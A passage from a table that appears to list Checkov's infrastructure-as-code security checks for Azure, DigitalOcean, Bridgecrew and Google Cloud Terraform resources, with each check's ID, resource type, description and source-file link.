[SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 4072 | CKV2_AZURE_52 | resource | azurerm_synapse_sql_pool_vulnerability_assessment | Ensure Synapse SQL Pool has vulnerability assessment attached | Terraform | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 4073 | CKV2_AZURE_53 | resource | azurerm_synapse_workspace | Ensure Azure Synapse Workspace has extended audit logs | Terraform | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseWorkspaceHasExtendedAuditLogs.yaml) | | 4074 | CKV2_AZURE_54 | resource | azurerm_synapse_sql_pool | Ensure log monitoring is enabled for Synapse SQL Pool | Terraform | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseLogMonitoringEnabledForSQLPool.yaml) | | 4075 | CKV2_AZURE_54 | resource | azurerm_synapse_sql_pool_extended_auditing_policy | Ensure log monitoring is enabled for Synapse SQL Pool | Terraform | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseLogMonitoringEnabledForSQLPool.yaml) | | 4076 | CKV2_AZURE_55 | resource | azurerm_spring_cloud_app | Ensure Azure Spring Cloud app end-to-end TLS is enabled | Terraform | [AzureSpringCloudTLSDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudTLSDisabled.yaml) | | 4077 | CKV2_AZURE_55 | resource | azurerm_spring_cloud_service | Ensure Azure Spring Cloud app end-to-end TLS is enabled | Terraform | [AzureSpringCloudTLSDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudTLSDisabled.yaml) | | 4078 | CKV2_AZURE_56 | resource | azurerm_mysql_flexible_server | Ensure Azure MySQL Flexible Server is configured with private endpoint | Terraform | [AzureMySQLFlexibleServerConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMySQLFlexibleServerConfigPrivEndpt.yaml) | | 4079 | CKV2_AZURE_57 | resource | azurerm_postgresql_flexible_server | Ensure PostgreSQL Flexible Server is configured with private endpoint | Terraform | [AzurePostgreSQLFlexibleServerConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexibleServerConfigPrivEndpt.yaml) | | 4080 | CKV_BCW_1 | provider | bridgecrew | Ensure no hard coded API token exist in the provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/bridgecrew/credentials.py) | | 4081 | CKV_DIO_1 | resource | digitalocean_spaces_bucket | Ensure the Spaces bucket has versioning enabled | Terraform | [SpacesBucketVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/SpacesBucketVersioning.py) | | 4082 | CKV_DIO_2 | resource | digitalocean_droplet | Ensure the droplet specifies an SSH key | Terraform | [DropletSSHKeys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/DropletSSHKeys.py) | | 4083 | CKV_DIO_3 | resource | digitalocean_spaces_bucket | Ensure the Spaces bucket is private | Terraform | [SpacesBucketPublicRead.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/SpacesBucketPublicRead.py) | | 4084 | CKV_DIO_4 | resource | digitalocean_firewall | Ensure the firewall ingress is not wide open | Terraform | [FirewallIngressOpen.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/FirewallIngressOpen.py) | | 4085 | CKV_GCP_1 | resource | google_container_cluster | Ensure Stackdriver Logging is set to Enabled on Kubernetes Engine Clusters | Terraform | [GKEClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEClusterLogging.py) | | 4086 | CKV_GCP_2 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow unrestricted ssh access | Terraform | [GoogleComputeFirewallUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress22.py) | | 4087 | CKV_GCP_3 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow unrestricted rdp access | Terraform | [GoogleComputeFirewallUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3389.py) | | 4088 | CKV_GCP_4 | resource | google_compute_ssl_policy | Ensure no HTTPS or SSL proxy load balancers permit SSL policies with weak cipher suites | Terraform | [GoogleComputeSSLPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSSLPolicy.py) | | 4089 | CKV_GCP_6 | resource | google_sql_database_instance | Ensure all Cloud SQL database instance requires all incoming connections to use SSL | Terraform | [GoogleCloudSqlDatabaseRequireSsl.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabaseRequireSsl.py) | | 4090 | CKV_GCP_7 | resource | google_container_cluster | Ensure Legacy Authorization is set to Disabled on Kubernetes Engine Clusters | Terraform | [GKEDisableLegacyAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEDisableLegacyAuth.py) | | 4091 | CKV_GCP_8 | resource | google_container_cluster | Ensure Stackdriver Monitoring is set to Enabled on Kubernetes Engine Clusters | Terraform | [GKEMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMonitoringEnabled.py) | | 4092 | CKV_GCP_9 | resource | google_container_node_pool | Ensure 'Automatic node repair' is enabled for Kubernetes Clusters | Terraform | [GKENodePoolAutoRepairEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENodePoolAutoRepairEnabled.py) | | 4093 | CKV_GCP_10 | resource | google_container_node_pool | Ensure 'Automatic node upgrade' is enabled for Kubernetes Clusters | Terraform | [GKENodePoolAutoUpgradeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENodePoolAutoUpgradeEnabled.py) | | 4094 | CKV_GCP_11 | resource | google_sql_database_instance | Ensure that Cloud SQL database Instances are not open to the world | Terraform | [GoogleCloudSqlDatabasePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabasePubliclyAccessible.py) | | 4095 | CKV_GCP_12 | resource | google_container_cluster | Ensure Network Policy is enabled on Kubernetes Engine Clusters | Terraform | [GKENetworkPolicyEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENetworkPolicyEnabled.py) | | 4096 | CKV_GCP_13 | resource | google_container_cluster | Ensure client certificate authentication to Kubernetes Engine Clusters is disabled | Terraform | [GKEClientCertificateDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEClientCertificateDisabled.py) | | 4097 | CKV_GCP_14 | resource | google_sql_database_instance | Ensure all Cloud SQL database instance have backup configuration enabled | Terraform | [GoogleCloudSqlBackupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlBackupConfiguration.py) | | 4098 | CKV_GCP_15 | resource | google_bigquery_dataset | Ensure that BigQuery datasets are not anonymously or publicly accessible | Terraform | [GoogleBigQueryDatasetPublicACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleBigQueryDatasetPublicACL.py) | | 4099 | CKV_GCP_16 | resource | google_dns_managed_zone | Ensure that DNSSEC is enabled for Cloud DNS | Terraform | [GoogleCloudDNSSECEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudDNSSECEnabled.py) | | 4100 | CKV_GCP_17 | resource | google_dns_managed_zone | Ensure that RSASHA1 is not used for the zone-signing and key-signing keys in Cloud DNS DNSSEC | Terraform | [GoogleCloudDNSKeySpecsRSASHA1.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudDNSKeySpecsRSASHA1.py) | | 4101 | CKV_GCP_18 | resource | google_container_cluster | Ensure GKE Control Plane is not public | Terraform | [GKEPublicControlPlane.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPublicControlPlane.py) | | 4102 | CKV_GCP_20 | resource | google_container_cluster | Ensure master authorized networks is set to enabled in GKE clusters | Terraform | [GKEMasterAuthorizedNetworksEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMasterAuthorizedNetworksEnabled.py) | | 4103 | CKV_GCP_21 | resource | google_container_cluster | Ensure Kubernetes Clusters are configured with Labels | Terraform | [GKEHasLabels.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEHasLabels.py) | | 4104 | CKV_GCP_22 | resource | google_container_node_pool | Ensure Container-Optimized OS (cos) is used for Kubernetes Engine Clusters Node image | Terraform | [GKEUseCosImage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEUseCosImage.py) | | 4105 | CKV_GCP_23 | resource | google_container_cluster | Ensure Kubernetes Cluster is created with Alias IP ranges enabled | Terraform | [GKEAliasIpEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEAliasIpEnabled.py) | | 4106 | CKV_GCP_24 | resource | google_container_cluster | Ensure PodSecurityPolicy controller is enabled on the Kubernetes Engine Clusters | Terraform | [GKEPodSecurityPolicyEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPodSecurityPolicyEnabled.py) | | 4107 | CKV_GCP_25 | resource | google_container_cluster | Ensure Kubernetes Cluster is created with Private cluster enabled | Terraform | [GKEPrivateClusterConfig.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPrivateClusterConfig.py) | | 4108 | CKV_GCP_26 | resource | google_compute_subnetwork | Ensure that VPC Flow Logs is enabled for every subnet in a VPC Network | Terraform | [GoogleSubnetworkLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkLoggingEnabled.py) | | 4109 | CKV_GCP_27 | resource | google_project | Ensure that the default network does not exist in a project | Terraform | [GoogleProjectDefaultNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectDefaultNetwork.py) | | 4110 | CKV_GCP_28 | resource | google_storage_bucket_iam_binding | Ensure that Cloud Storage bucket is not anonymously or publicly accessible | Terraform | [GoogleStorageBucketNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketNotPublic.py) | | 4111 | CKV_GCP_28 | resource | google_storage_bucket_iam_member | Ensure that Cloud Storage bucket is not anonymously or publicly accessible | Terraform | [GoogleStorageBucketNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketNotPublic.py) | | 4112 | CKV_GCP_29 | resource | google_storage_bucket | Ensure that Cloud Storage buckets have uniform bucket-level access enabled | Terraform | [GoogleStorageBucketUniformAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketUniformAccess.py) | | 4113 | CKV_GCP_30 | resource | google_compute_instance | Ensure that instances are not configured to use the default service account | Terraform | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py) | | 4114 | CKV_GCP_30 | resource | google_compute_instance_from_template | Ensure that instances are not configured to use the default service account | Terraform | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py) | | 4115 | CKV_GCP_30 | resource | google_compute_instance_template | Ensure that instances are not configured to use the default service account | Terraform | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py) | | 4116 | CKV_GCP_31 | resource | google_compute_instance | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs | Terraform | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py) | | 4117 | CKV_GCP_31 | resource | google_compute_instance_from_template | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs | Terraform | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py) | | 4118 | CKV_GCP_31 | resource | google_compute_instance_template | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs | Terraform | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py) | | 4119 | CKV_GCP_32 | resource | google_compute_instance | Ensure 'Block Project-wide SSH keys' is enabled for VM instances | Terraform | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py) | | 4120 | CKV_GCP_32 | resource | google_compute_instance_from_template | Ensure 'Block Project-wide SSH keys' is enabled for VM instances | Terraform | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py) | | 4121 | CKV_GCP_32 | resource | google_compute_instance_template | Ensure 'Block Project-wide SSH keys' is enabled for VM instances | Terraform | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py) | | 4122 | CKV_GCP_33 | resource | google_compute_project_metadata | Ensure oslogin is enabled for a Project | Terraform | [GoogleComputeProjectOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeProjectOSLogin.py) | | 4123 | CKV_GCP_34 | resource | google_compute_instance | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances) | Terraform | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py) | | 4124 | CKV_GCP_34 | resource | google_compute_instance_from_template | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances) | Terraform | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py) | | 4125 | CKV_GCP_34 | resource | google_compute_instance_template | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances) | Terraform | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py) | | 4126 | CKV_GCP_35 | resource | google_compute_instance | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance | Terraform | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py) | | 4127 | CKV_GCP_35 | resource | google_compute_instance_from_template | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance | Terraform | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py) | | 4128 | CKV_GCP_35 | resource | google_compute_instance_template | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance | Terraform | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py) | | 4129 | CKV_GCP_36 | resource | google_compute_instance | Ensure that IP forwarding is not enabled on Instances | Terraform | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py) | | 4130 | CKV_GCP_36 | resource | google_compute_instance_from_template | Ensure that IP forwarding is not enabled on Instances | Terraform | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py) | | 4131 | CKV_GCP_36 | resource | google_compute_instance_template | Ensure that IP forwarding is not enabled on Instances | Terraform | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py) | | 4132 | CKV_GCP_37 | resource | google_compute_disk | Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [GoogleComputeDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDiskEncryption.py) | | 4133 | CKV_GCP_38 | resource | google_compute_instance | Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [GoogleComputeBootDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBootDiskEncryption.py) | | 4134 | CKV_GCP_39 | resource | google_compute_instance | Ensure Compute instances are launched with Shielded VM enabled | Terraform | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py) | | 4135 | CKV_GCP_39 | resource | google_compute_instance_from_template | Ensure Compute instances are launched with Shielded VM enabled | Terraform | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py) | | 4136 | CKV_GCP_39 | resource | google_compute_instance_template | Ensure Compute instances are launched with Shielded VM enabled | Terraform | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py) | | 4137 | CKV_GCP_40 | resource | google_compute_instance | Ensure that Compute instances do not have public IP addresses | Terraform | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py) | | 4138 | CKV_GCP_40 | resource | google_compute_instance_from_template | Ensure that Compute instances do not have public IP addresses | Terraform | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py) | | 4139 | CKV_GCP_40 | resource | google_compute_instance_template | Ensure that Compute instances do not have public IP addresses | Terraform | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py) | | 4140 | CKV_GCP_41 | resource | google_project_iam_binding | Ensure that IAM users are not assigned the Service Account User or Service Account Token Creator roles at project level | Terraform | [GoogleRoleServiceAccountUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleRoleServiceAccountUser.py) | | 4141 | CKV_GCP_41 | resource | google_project_iam_member | Ensure that IAM users are not assigned the Service Account User or Service Account Token Creator roles at project level | Terraform | [GoogleRoleServiceAccountUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleRoleServiceAccountUser.py) | | 4142 | CKV_GCP_42 | resource | google_project_iam_member | Ensure that Service Account has no Admin privileges | Terraform | [GoogleProjectAdminServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectAdminServiceAccount.py) | | 4143 | CKV_GCP_43 | resource | google_kms_crypto_key | Ensure KMS encryption keys are rotated within a period of 90 days | Terraform | [GoogleKMSRotationPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSRotationPeriod.py) | | 4144 | CKV_GCP_44 | resource | google_folder_iam_binding | Ensure no roles that enable to impersonate and manage all service accounts are used at a folder level | Terraform | [GoogleFolderImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderImpersonationRole.py) | | 4145 | CKV_GCP_44 | resource | google_folder_iam_member | Ensure no roles that enable to impersonate and manage all service accounts are used at a folder level | Terraform | [GoogleFolderImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderImpersonationRole.py) | | 4146 | CKV_GCP_45 | resource | google_organization_iam_binding | Ensure no roles that enable to impersonate and manage all service accounts are used at an organization level | Terraform | [GoogleOrgImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgImpersonationRole.py) | | 4147 | CKV_GCP_45 | resource | google_organization_iam_member | Ensure no roles that enable to impersonate and manage all service accounts are used at an organization level | Terraform | [GoogleOrgImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgImpersonationRole.py) | | 4148 | CKV_GCP_46 | resource | google_project_iam_binding | Ensure Default Service account is not used at a project level | Terraform | [GoogleProjectMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectMemberDefaultServiceAccount.py) | | 4149 | CKV_GCP_46 | resource | google_project_iam_member | Ensure Default Service account is not used at a project level | Terraform | [GoogleProjectMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectMemberDefaultServiceAccount.py) | | 4150 | CKV_GCP_47 | resource | google_organization_iam_binding | Ensure default service account is not used at an organization level | Terraform | [GoogleOrgMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgMemberDefaultServiceAccount.py) | | 4151 | CKV_GCP_47 | resource | google_organization_iam_member | Ensure default service account is not used at an organization level | Terraform | [GoogleOrgMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgMemberDefaultServiceAccount.py) | | 4152 | CKV_GCP_48 | resource | google_folder_iam_binding | Ensure Default Service account is not used at a folder level | Terraform | [GoogleFolderMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderMemberDefaultServiceAccount.py) | | 4153 | CKV_GCP_48 | resource | google_folder_iam_member | Ensure Default Service account is not used at a folder level | Terraform | [GoogleFolderMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderMemberDefaultServiceAccount.py) | | 4154 | CKV_GCP_49 | resource | google_project_iam_binding | Ensure roles do not impersonate or manage Service Accounts used at project level | Terraform | [GoogleProjectImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectImpersonationRole.py) | | 4155 | CKV_GCP_49 | resource | google_project_iam_member | Ensure roles do not impersonate or manage Service Accounts used at project level | Terraform | [GoogleProjectImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectImpersonationRole.py) | | 4156 | CKV_GCP_50 | resource | google_sql_database_instance | Ensure MySQL database 'local_infile' flag is set to 'off' | Terraform | [GoogleCloudMySqlLocalInfileOff.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudMySqlLocalInfileOff.py) | | 4157 | CKV_GCP_51 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_checkpoints' flag is set to 'on' | Terraform | [GoogleCloudPostgreSqlLogCheckpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogCheckpoints.py) | | 4158 | CKV_GCP_52 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_connections' flag is set to 'on' | Terraform | [GoogleCloudPostgreSqlLogConnection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogConnection.py) | | 4159 | CKV_GCP_53 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_disconnections' flag is set to 'on' | Terraform | [GoogleCloudPostgreSqlLogDisconnection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogDisconnection.py) | | 4160 | CKV_GCP_54 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_lock_waits' flag is set to 'on' | Terraform | [GoogleCloudPostgreSqlLogLockWaits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogLockWaits.py) | | 4161 | CKV_GCP_55 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_min_messages' flag is set to a valid value | Terraform | [GoogleCloudPostgreSqlLogMinMessage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinMessage.py) | | 4162 | CKV_GCP_56 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_temp_files flag is set to '0' | Terraform | [GoogleCloudPostgreSqlLogTemp.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogTemp.py) | | 4163 | CKV_GCP_57 | resource | google_sql_database_instance | Ensure PostgreSQL database 'log_min_duration_statement' flag is set to '-1' | Terraform | [GoogleCloudPostgreSqlLogMinDuration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinDuration.py) | | 4164 | CKV_GCP_58 | resource | google_sql_database_instance | Ensure SQL database 'cross db ownership chaining' flag is set to 'off' | Terraform | [GoogleCloudSqlServerCrossDBOwnershipChaining.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerCrossDBOwnershipChaining.py) | | 4165 | CKV_GCP_59 | resource | google_sql_database_instance | Ensure SQL database 'contained database authentication' flag is set to 'off' | Terraform | [GoogleCloudSqlServerContainedDBAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerContainedDBAuthentication.py) | | 4166 | CKV_GCP_60 | resource | google_sql_database_instance | Ensure Cloud SQL database does not have public IP | Terraform | [GoogleCloudSqlServerNoPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerNoPublicIP.py) | | 4167 | CKV_GCP_61 | resource | google_container_cluster | Enable VPC Flow Logs and Intranode Visibility | Terraform | [GKEEnableVPCFlowLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnableVPCFlowLogs.py) | | 4168 | CKV_GCP_62 | resource | google_storage_bucket | Bucket should log access | Terraform | [CloudStorageLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageLogging.py) | | 4169 | CKV_GCP_63 | resource | google_storage_bucket | Bucket should not log to itself | Terraform | [CloudStorageSelfLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageSelfLogging.py) | | 4170 | CKV_GCP_64 | resource | google_container_cluster | Ensure clusters are created with Private Nodes | Terraform | [GKEPrivateNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPrivateNodes.py) | | 4171 | CKV_GCP_65 | resource | google_container_cluster | Manage Kubernetes RBAC users with Google Groups for GKE | Terraform | [GKEKubernetesRBACGoogleGroups.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEKubernetesRBACGoogleGroups.py) | | 4172 | CKV_GCP_66 | resource | google_container_cluster | Ensure use of Binary Authorization | Terraform | [GKEBinaryAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEBinaryAuthorization.py) | | 4173 | CKV_GCP_68 | resource | google_container_cluster | Ensure Secure Boot for Shielded GKE Nodes is Enabled | Terraform | [GKESecureBootforShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKESecureBootforShieldedNodes.py) | | 4174 | CKV_GCP_68 | resource | google_container_node_pool | Ensure Secure Boot for Shielded GKE Nodes is Enabled | Terraform | [GKESecureBootforShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKESecureBootforShieldedNodes.py) | | 4175 | CKV_GCP_69 | resource | google_container_cluster | Ensure the GKE Metadata Server is Enabled | Terraform | 